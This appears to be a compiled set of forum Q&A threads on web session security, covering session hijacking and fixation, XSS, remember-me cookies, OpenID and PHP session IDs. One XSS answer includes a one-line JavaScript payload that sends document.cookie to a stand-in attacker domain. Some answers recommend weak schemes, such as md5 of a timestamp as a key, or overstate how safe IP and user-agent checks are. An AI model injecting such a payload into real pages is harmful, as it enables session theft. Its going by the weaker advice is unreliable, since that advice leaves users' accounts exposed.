I plan not to use HTTPS for my web app. I used digest authentication as method to secure login to my system. And after user being authenticated, I simply send nonce to them periodically(1 min). When users make request, I simply check whether the nonce expires before I send them response.
I want to know whether it is necessary for me to protect users session_id in case the attackers replay the nonce or guess out the nonce generation mechanism? And if yes, how do I secure the session_id?
Take a look at Session Hijacking and Fixation
The best solutions to Session Hijacking/Fixation is:
Regenerate session identifier at key points. In your case after user login. So, after the user logins, we give him a new session identifier.
So,in case a hacker hijacked the session id, it would be useless and
would not work.
Save User Agent/IP address and compare it against
the User Agent/IP address used just before login. A hacker would not have the same User Agent/IP address as the legit user. But remember User Agent/IP address can sometimes be faked.
Last but not the least, destroy old session regularly.
Keeping these in mind, your program will be safe from Session Hijacking/Fixation.
Related
I'm building a basic website where a logged in user makes requests to a server. What are some good practices for the server to verify that the user is who he says he is? Right now I create a session key every time the user logs in which is then stored in the DB. the session key is the hash of the users username concatenated with the current time. Every time the user makes a request he sends along the session key to be verified. Are there any security flaws with this method?
Yes, this isn't real security. It is know as Security by Obscurity.
If an attacker wants to hijack a session, all they would have to do is hash the username along with the time and set it as their cookie value. Of course this would have to correspond with a valid user session being logged on at that time, but they could easily script this.
For example, if they wanted to log on as bob#example.com the could simply generate the hash of bob#example.com:00:00:00, bob#example.com:00:00:01, bob#example.com:00:00:02, etc, etc, until they find a session value that allows them to access privileged pages.
Whenever someone talks about the dangers of xss, they mention that the 'bad guys' can get access to user credentials. But if I only store a session id on the cookie, and authenticate the user based on the session id, are there any other ways xss can be used to access user credentials?
Yes.
XSS means a foreign or malicious script is running on the page. There are a bunch of ways this could be dangerous.
Session Hijacking
Even if the cookie doesn't store user credentials (and it shouldn't). It stores enough information for the server to consider the bearer of the cookie to be a particular user (HTTP is stateless so we use cookies/sessions to remember users).
So if someone steals the session ID they can use it to impersonate you and the server might be none the wiser.
Safeguarding with IP
In your original question you asked about another level of security: verifying the IP address tied to the session. Yes, that cuts down the attack avenue. Yes, IP addresses can be faked. But you're no longer the lowest hanging fruit for attackers. At the same time security and convenience are opposites so your legitimate users might be frustrated that when their IP address changes they are no longer signed in.
Other attacks
Stealing the cookie/session is one easy way to gain access but not the only one.
Since a script is running (supposedly) from the trusted site and from the user's browser. It could to a lot of things:
loads an invisible iframe for the account edit page and resets the password/email for the user
load a keylogger, show the user the login page
Unless the Session ID cookie is marked as HTTP Only, the session can still be hijacked using XSS.
e.g.
new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);
will send the Session ID to the attackers domain (www.example.com) where they will be able to set their own cookie to the same Session ID and steal the session.
Even without the cookie risk, as the attacker can inject whatever they like into the page, they could alter any page content or install key loggers in the browser session.
I recently went to a talk that described ways to trick a password manager into filling out a password form, provided that the attacker could use XSS to modify pages on the victim site. That's one way an attacker might be able to access user credentials.
I just started integration of OpenID in my website. All the examples I saw store the claimed IDs in cookies. How is it safe?
For example, myopenid.com returns a claimed ID that is {username}.myopenid.com
So if a hacker knows your claimed ID, he can easily hack your account.
Of course you encipher/md5 the ID before putting it into the cookies and using for authentication, but it's like storing a username without password!
Update
Now that I thought more about it, I realized, that you need to be logged in the OpenID provider, so even if the hacker gets the username, he still needs the provider's password to log in. Am I correct?
Update 2
No, update 1 is not correct :) My site cannot check whether the user is successfully logged in or not. All I receive is the claimed ID, and I just have to trust that the user is authenticated. That's really confusing...
Knowing the user's claimed identity isn't enough to authenticate.
Indeed, the user would have to be logged in to his provider, in order to authenticate with your website using that identity.
As for "trusting that the user is authenticated" -- no, you don't trust. As a final part of OpenID authentication you're supposed to verify that the authentication message comes from the provider. There are various security measures in place to ensure that the message is authentic, unaltered, etc.
If you do that, you're sure that your user is properly authenticated by the provider.
Now, since you don't want to do it every time your user makes a request, you store the session information in a cookie. However, you don't store only the claimed identifier (if you decide to store it at all), but a session id -- a pseudorandom number generated at the moment your user logs in. Since it's pseudorandom, no one can guess it, and therefore, knowledge of a claimed identifier itself doesn't mean anything.
If that answers your question, read about session management in your favorite language/framework, as it will tell you how to easily implement such mechanism, and how it works.
In summary: think of OpenID as a replacement for a password verification. You don't need to (and shouldn't) store logins and passwords in cookies, and you don't have to store claimed identifiers. Similarly, you don't verify that the login and password matches every time, but remember that the user is authenticated in a session.
I read about many old questions about this argument, and I thought that the best practice is to set up a cookie with username,user_id and a random token.
Same cookie's data is stored in DB at cookie creation, and when users have the cookie they are compared (cookie data, DB data).
Sincerely I can't understand where is the security logic if this is the real best practice.
An attacker who steals the cookie has the same cookie than the original user :|
Forgotten some step? :P
You should NEVER EVER store a users password in a cookie, not even if it's hashed!!
Take a look at this blog post:
Improved Persistent Login Cookie Best Practice (Nov 2006; by bjaspan) (orignal)
Quote:
When the user successfully logs in with Remember Me checked, a login cookie is issued in addition to the standard session management cookie.[2]
The login cookie contains the user's username, a series identifier, and a token. The series and token are unguessable random numbers from a suitably large space. All three are stored together in a database table.
When a non-logged-in user visits the site and presents a login cookie, the username, series, and token are looked up in the database.
If the triplet is present, the user is considered authenticated. The used token is removed from the database. A new token is generated, stored in database with the username and the same series identifier, and a new login cookie containing all three is issued to the user.
If the username and series are present but the token does not match, a theft is assumed. The user receives a strongly worded warning and all of the user's remembered sessions are deleted.
If the username and series are not present, the login cookie is ignored.
You should store the user_id and issue a random token in addition to the user's password. Use the token in the cookie and change the token when the password changes. This way, if the user changes their password then the cookie will be invalidated.
This is important if the cookie has been hijacked. It will be invalidated if the user detects the hijacking, and furthermore because the token is unrelated to the password the hijacker won't be able to derive and then change the user's account password and "own" the account (assuming you require the existing password before changing passwords, the hijacker doesn't own the email account so they can't use "Forgot my password" etc).
Take care that the tokens aren't easily guessable (i.e. they should consist of entirely random data, like from a CRNG).
If you want to go one step further, you can encrypt the cookie before sending it and decrypt it upon receipt. And further to that, don't assume that a hijacker doesn't know the encryption key used, so validate the cookie's contents upon decryption.
But all that said, prefer to use a library's persistent session management instead of rolling your own.
I wouldn't even store the username in a cookie, just a random token generated with a near impossible to crack technique and map that to the user in your database, and never store user's password even hashed in a cookie, it will be open to Brute Force Attack. Yes if someone steal the token he can access user's account but the password will not be compromised and the token will be invalidated as soon as the real user logs out. Also remember that you shouldn't allow sensitive tasks like changing password to a user who just have a valid token, you need to ask for the password again for such tasks.
if your cookies are stolen anyone can log into your accounts. it's actually what firesheep does. the security lies in the random token. the whole system assumes cookies can't be stolen. the only other way to get in then is to guess the random token. if you make it long enough it should be nigh-impossible.
The "step" that you seem to be forgetting is that if the cookie value is properly hashed it would be of a little value to an attacker.
EDIT:
Here's a couple of things you can do to protect your users against cookie theft related attacks:
Regenerate tokens over time, so that an attacker would not be able to impersonate a user unless she has a recent enough cookie. If security is top priority, regenerate tokens on each request (page load). If it isn't, regenerate tokens on password change.
Keep and validate hashes of user agents, so that an attacker would not be able to impersonate a user unless she has both the cookie and the user agent that of the user.
p.s. Cookies should hold (random) tokens and not password hashes (see Hashes or tokens for "remember me" cookies?).
I always knew that the "remember me" feature only converted the session cookie (i.e. the cookie with the session ID) from expiring when closing the browser to a future date, it doesn't involve saving additional data, only extending the session.
And yes, if an attacker gets the cookie, it can impersonate the user. But this is always valid, and has nothing to do with "remember me".
My approach is the following:
Hash the user_id
Generate an unique key for the user - md5(current_timestamp)
Save the key to the DB
Encode everything so it looks like a BS - base64
Save it in the cookie
So far, It has been working great for me :)
I read about session security eg. Session Fixation, Hijacking & Injection but am confused about the workings of session security. The way I usually do it:
// when user logins,
$_SESSION["user"] = "someuser";
// check user login
if (isset($_SESSION["user"]) && !empty($_SESSION["user"]))
Maybe I am doing it wrong, but I don't have Session IDs anywhere, or at least I didn't use it. Can someone explain how should Session IDs be used & how it affects session security? Also, is my understanding of the following threats correct?
Session Fixation
User visits link (http://site.com?session_id=123) and logs in
Server "marks" that session id as logged in
Hacker can now visit http://site.com?session_id=123
My understanding of Session Fixation seems very wrong to me. If its correct won't it mean that hackers can randomly use session ids and I will likely be used by an existing user?
Session Hijacking
Hacker somehow gets Session ID whether by Fixation or guessing etc
Session Injection
What is this?
You're not using session IDs explicitly, but PHP uses them automatically. The session ID is sent as a cookie to the browser, who sends it back to the server with every request to identify itself and resume the session. Without that, sessions are not possible.
A way to improve security is to regularly change the ID of a session, using session_regenerate_id(). That way, if a hacker acquires somebody's session ID, he has only a limited amount of time to abuse it.
Another way to prevent session hijacking (a hacker using your session ID to steal your session) is to store the client IP and user agent string when the session is opened and verifying that they haven't changed when resuming the session.
When using sessions, the session ID is the only information used to identify a session. Because of this, the session ID is a sensitive information.
Now both attacks, session hijacking and session fixation, aim for a valid session ID of a victim to gain access on that session. As for session hijacking, the attacker tries to obtain a victims session ID, and as for session fixation, the attacker tries to foist a prepared session on the victim.
To protect your application from those session attacks, there are two common safety measures:
protect valid session IDs, and
authenticate usage of sessions.
With PHP’s default session settings, the session ID is transmitted using a cookie (see session.use_only_cookies). You can protect this cookie by using a secure connection with SSL/TLS and by setting session.cookie_httponly to true so that the cookie can only be read when sent via HTTP and not by a client side program like JavaScript.
Additionally, you could authenticate the use of a session by associating a fingerprint of the client with the session. This could be a combination of user agent identifier and other request header fields.
Furthermore, you should change the ID of a session with every verification of authenticity or change of authorization. You can use session_regenerate_id(true) for this with an invalidation of the old session ID.